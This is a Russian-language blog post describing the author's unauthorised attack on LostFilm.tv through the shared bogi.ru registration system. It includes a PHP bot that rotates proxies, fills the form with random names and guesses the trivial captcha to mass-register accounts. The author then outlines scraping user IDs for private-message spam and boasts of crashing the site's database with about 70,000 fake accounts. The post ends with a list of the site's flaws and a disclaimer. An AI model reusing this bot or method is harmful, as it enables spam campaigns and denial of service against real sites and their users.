Вот и наступил долгожданный год Змеи, который я, честно говоря, очень и очень ждал. Он принесет всем нам много нового и изменить нашу жизни при условии что мы сами того захотим. Для себя я поставил очень много целей на этот год, одно из которых является возрождение данного блога. Но, если раньше я стремился делать его только сеошным, то сейчас он будет совокупности SEO, кодинга и моего портфолио. Первое что хочется сделать – ввести новую категорию «Анализ безопасности веб-ресурсов».

И так, начнем… Пару лет назад, когда дела шли очень хорошо и не требовали моего вмешательства и лишних телодвижений, я развлекал себя написанием различными спамерами по ЛС. И, как то раз, я вспомнил о LostFilm.tv. Данный сайт посещает в день порядка 300к человек и суммарное количество пользователей тогда превышало пары миллионов юзеров.

Для себя я поставил следующую задачу:

  • Написать регистратор новых акков  с подтверждением по почте
  • Cобрать список зарегистрированных пользователей
  • И попытаться разослать им некое сообщение.

Этап 1: Регистрация

Методом научного тыка было выявленно, что LostFilm.tv пользуется одной базой юзеров с проектом bogi.ru. Сейчас я уже не помню, но по какой-то причине я для себя понял, что регистрироваться мы будем именно там. Переходим на страницу http://bogi.ru/auth/registration, где мы ожидаем видеть все стандартные поля и капчу. Но.. Вместо капчи мы можем наблюдать ее парадоию:  из трех вариантов ответов нужно выбрать правильный. Т.е. всегда отсылаем значение captcha=1 и теория вероятности все сделает за нас. Забегая дальше хочу отметить, что потверджения по почте как не было, так и нет, что также являеться грубейшей ошибкой.

$curl->Cookies="";
$curl->change_proxy("xproxy.txt","proxy");	
	
		
$curl->Load("http://bogi.ru/auth/registration");
    $form=$fp->ParseForms($curl->Content);
    $data=$form[0]['data'];
	$data['first']	=	get_from_file("Z:/tmp/field_value/russian_name.txt");
	$data['last']	=	get_from_file("Z:/tmp/field_value/russian_surname.txt");
	$data['nick']	=	get_from_file("Z:/tmp/field_value/nick.txt").mt_rand(1,99);
	$data['password']	=	generate_passwd(8,2);	
	$data['sex']	=	1;
	$data['email']	=	$data['nick']."@gmail.com";
	$data['captcha']		=	mt_rand(1,3);

	$curl->Referer="http://bogi.ru/auth/registration";	
	$curl->Load("http://login.bogi.ru/captcha.php?s=".$data['sid']);

	$curl->Load("http://bogi.ru/auth/registration",$data);
	if(strpos($curl->Content,"Поздравляем вас с успешной регистрацией"))
		{
		mysql_query("INSERT INTO `account` (`login`,`passwd`) VALUES ('".$data['nick']."','".$data['password']."')")or die(mysql_error());
		file_put_contents("good_account.txt",$data['nick'].":".$data['password']."\r\n",FILE_APPEND);
		echo "++++\r\n";
		
		}
	elseif(strlen($curl->Content)<30)
		{
		echo "bad proxy\r\n";
		}
	else
		{
		echo "Fuck\r\n";
		}
	flush();

Этап 2: Сбор пользователей

Проанализировав данный ресурс я принял решения отпарсить все новости, пробежаться по комментариям и вытащить ссылки на личный страницы пользователей, а точнее только их userId. Далее, я отчистил таблицу пользователей от тех аккаунтов, в которых не совершался вход в течении 6 месяцев и удалил аккаунты со статусом Admin, VIP.

Этап 3: Рассылка сообщений

Тут также нет никакой защиты. Все просто – сабмитим форму и вперед.

Итоги: За45 минут я нарегистрировал порядка 70к аккаунтов положив базу данных Лостфильма. Рассылку сообщения я не стал делать, т.к. понял что отдача будет минимальна: юзеры на данном ресурсе не привыкли общаться по ЛС и движок лостфильма никак не оповещает пользователей о новых сообщениях.

Дыры в LostFilm.tv

  • Отсутсвие капчи как таковой.
  • Возможность регистрации бесконечного числа пользователей с одного IP.
  • Нет потдверждения аккаунта через почту.
  • Отсутсвие лимита на использование ЛС.
  • Возможность отправлять актив-линк в теле сообщения.

PS Маленький отчет я отсылал агенству adverti.me, но они так и не ответили. На момент публикации данного поста сделаю это еще один раз.

PPS Все материалы выложены в данном блоге только для ознакомления, все скрипты являются не рабочими. Повторять выше-описанное никому не советую.